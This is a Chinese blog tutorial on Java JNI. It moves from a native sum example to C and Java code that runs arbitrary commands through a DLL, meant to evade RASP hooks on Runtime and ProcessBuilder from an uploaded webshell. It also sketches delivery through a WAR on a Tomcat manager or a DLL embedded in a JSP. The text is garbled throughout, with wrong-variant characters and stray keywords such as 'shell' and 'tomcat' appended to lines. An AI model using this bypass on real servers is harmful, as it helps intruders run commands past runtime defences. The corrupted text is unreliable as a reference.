前面一直想看该JNI的相关内容,可是发现JNI的资料仍是偏少。后面发现JNI在安全中应用很是的微妙,有意思。java
JNI的全称叫作(Java Native Interface),其做用就是让咱们的Java程序去调用C的程序。实际上调用的并非exe程序,而是编译好的dll动态连接库里面封装的方法。由于Java是基于C语言去实现的,Java底层不少也会去使用JNI。linux
在开发中运用到的也是比较多,好比在前面分析链的时候,追溯到一些底层实现代码的时候就能够看到一些方法是使用Native
来修饰的。这就说明他是一个c语言去实现的一个方法。c++
来看到下面这张图,该图是实现JNI编程的具体路线web
这里我大体分为五步:shell
1. 定义一个native修饰的方法 2. 使用javah进行编译 3. 编写对应的c语言代码 4. 使用gcc编译成dll文件 5. 编写一个Java类使用System.loadLibrary方法,加载dll文件而且调用
按照步骤来实现一下编程
package com.test; public class Command { public native int sum(int num1,int num2); }
首先使用javac编译成class文件数组
javac .\Command.java
而后使用javah生成c的头文件,切换到src目录下。后面发现其实能够不用编译成class文件。tomcat
JDK10移除了javah
,须要改成javac
加-h
参数的方式生产头文件,命令:安全
javac -cp . .\Command.java -h com.test.Command
而后执行命令jsp
javah -cp . com.test.Command
这里能够看到有个Java_com_test_Command_sum
的字符,前面的Java是固定的前缀,后面是类名,最后面的是该类中定义的方法。
而括号里面的4个参数,第一个是JNI环境变量对象,第二个是Java调用的对象,这里是jclass也就是一个class文件。后面两个则是传入的参数而且是int类型的。
里面的内容是javah基于刚刚的java代码自动生成的,不要轻易更改。在编写c代码的时候,须要导入该头文件
#include "com_test_Command.h" JNIEXPORT jint JNICALL Java_com_test_Command_sum (JNIEnv *env, jobject obj, jint num1, jint num2){ return num1+num2; } void main(){}
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll
须要指定jdk的include和win32文件
或者能够这么写
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。
mac 编译:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp
linux编译:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
g++是用来编译c++的,都可使用。代码若是是c++写的,就可使用g++来编译成dll同样能够调用。
这里先来编译一下
gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c
从新在IDEA里面打开项目,并编写代码
package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); int sum = command.sum(1, 2); System.out.println(sum); } }
运行查看结果,查看是否能正常运行
然而这里发现爆了个这样的错误,在64位数的平台不能去调用32位数的dll文件,貌似是使用到了32位的gcc进行编译致使调用报错
发现本身安装的是32位的gcc编译只能编译成32位的dll文件,后面来使用gcc 64 位的就能够了。
再次编译成gcc进行调用后,就能够进行执行。
到了这里,就已是调用了封装好的dll动态连接库文件里面封装的方法了。
在RASP里实际上是Hook掉了一些Runtime
、ProcessBuilder
等类,可是Runtime.exec
调用的是ProcessBuilder.start
,ProcessBuilder.start
的底层会调用ProcessImpl
类。那么这时候只须要去Hook掉ProcessImpl
就没法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?假设一个场景一个站点使用RASP,这时候若是上传一个webshell
那么这时候就会去用到JNI去调用该dll文件就能够进行一个绕过,能够先来实现这么一个功能,后续还须要考虑到的是怎么将几个文件封装到一块儿,打包成一个jsp文件进行上传。
首先仍是须要在IDEA里面先去实现功能,基于上面代码去作一个修改
Command类:
package com.test; public class Command { public native String exec(String cmd); }
编译成.h c语言的头文件,内容以下:
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class com_test_Command */ #ifndef _Included_com_test_Command #define _Included_com_test_Command #ifdef __cplusplus extern "C" { #endif JNIEXPORT jstring JNICALL Java_com_test_Command_exec (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif
编写命令执行的C语言代码,因为不会C ,该段代码是网上找的
#include "com_test_Command.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定义缓冲区 FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); } } _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功 } JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult; }
使用命令将2个文件编译成dll动态连接库
而后编写Java代码加载dll文件,调用C语言中封装的方法
package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); String ipconfig = command.exec("ipconfig"); System.out.println(ipconfig); } }
调用栈:
命令就执行成功了,这里不是调用一些自带的Runtime等方法,而是调用dll文件中封装的方法,可以去绕过一些RASP的拦截。
目前个人设想是由两种方式在现实场景中去进行一个使用,一个是将dll文件都打包成一个war包,在一些tomcat管理后台的位置上传后,自动进行解压释放该dll文件,而后使用jsp去调用该dll文件,从而使得能够绕过执行命令。或者是可使用远程调用的方式,这样就能够不用上传dll文件了, 这样作的目的是通常上传点之类的都不会容许dll文件进行上传。
还有一种方式是将dll文件编码后,内置到jsp中,执行的时候进行释放到当前文件目录下,进行调用。
https://cloud.tencent.com/developer/article/1541566 https://javasec.org/javase/JNI/
吹爆花猫大哥的Javasec文章,在Javasec的JNI文中用到的是c++来进行一个代码实现,实际效果差很少。具体的在本文中就不作实现。Javasec中有现成代码。
其实这种方式仍是有办法查杀到的,具体参考该篇文章:JNI编程怎么跟踪调试dll。